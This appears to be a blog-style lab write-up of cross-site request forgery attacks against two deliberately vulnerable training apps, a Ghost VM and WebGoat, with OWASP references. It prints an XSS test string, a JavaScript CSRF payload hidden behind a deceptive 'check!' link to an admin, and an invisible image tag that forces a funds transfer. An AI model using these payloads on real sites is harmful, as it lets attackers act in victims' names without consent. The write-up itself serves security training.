Play with CSRF

Cross-Site Request Forgery (CSRF/XSRF)

A kind of Injection vulnerability. Used by hacker to exploit the trust that a site has for the authorized user.
More information please check the reference.

Victim:  Ghost VM (XSS & CSRF), admin user on Ghost server
Attacker:  test user on Ghost server

Attacking process:
1, Log in Gost server as admin user

2, submit "<script>alert(1)</script>" to check if there is XSS vulnerability. Of course it has...

3, use WEB Proxy (such as Burp) to check and analyze how the web application is working...
here, we submit test string "abc" and submit.
Burp capture the first request:

Burp capture the second request:

Now we understand how it works:
There are two requests sent to server. So we need to send two requests when write the attacking script.

we construct the malicious java script:

<script>
function test()
{
  var pd="vuln=<h1>Hacked%20by%20F4l13n5n0w&user=admin";
  var xmlhttp=new XMLHttpRequest();
  xmlhttp.onreadystatechange=function() {
    var xmlhttp2=new XMLHttpRequest();
    xmlhttp2.open("GET", "/ghost/iframe.php?page=form.php", true);
    xmlhttp2.send();
  };
  xmlhttp.open("POST", "/ghost/blogView.php", true);
  xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xmlhttp.send(pd);
}
</script>
Hi admin, Here is a problem. Pls <a href="" onclick="test()">check!</a>

Log in the server as test user and submit the attacking code and then we just waiting for admin to click it.

If the Admin was tricked and click the "check" link. He will submit the sentence "Hacked by F4l13n5n0w" to the server underground.

Have done.


Reference:
[1] http://www.cgisecurity.com/csrf-faq.html
[2] https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
[3] http://www.w3schools.com/ajax/ajax_xmlhttprequest_send.asp

WebGoat - CSRF

Solution:

Attack process:
Show as following picture.

1st, Victim has authenticated with WEB Server,
2nd, at the same time, the Attacker send a malicious link to fool victim to click
3rd, If the victim click the malicious link... the transfer will be happened underground.

In this case, we just post a massage with malicious code:

Title: my new picture
Message: <img src="http://192.168.235.134/WebGoat/attack?Screen=13&menu=900&transferFunds=4000" height=0 width=0 />

If the victim click the Title (my new picture), the transfer will be triggered.
The victim's browser will try to load the image file (height=0 and width=0 will make the picture to be invisible), then it will send forged request to the URL in "src" tag (with the victim's authentication info).

Reference:
[1] https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
[2] https://www.owasp.org/index.php/Reviewing_code_for_Cross-Site_Request_Forgery_issues#Overview
[3] https://www.owasp.org/index.php/Testing_for_CSRF_%28OWASP-SM-005%29
[4] http://projects.webappsec.org/w/page/13246919/Cross-Site-Request-Forgery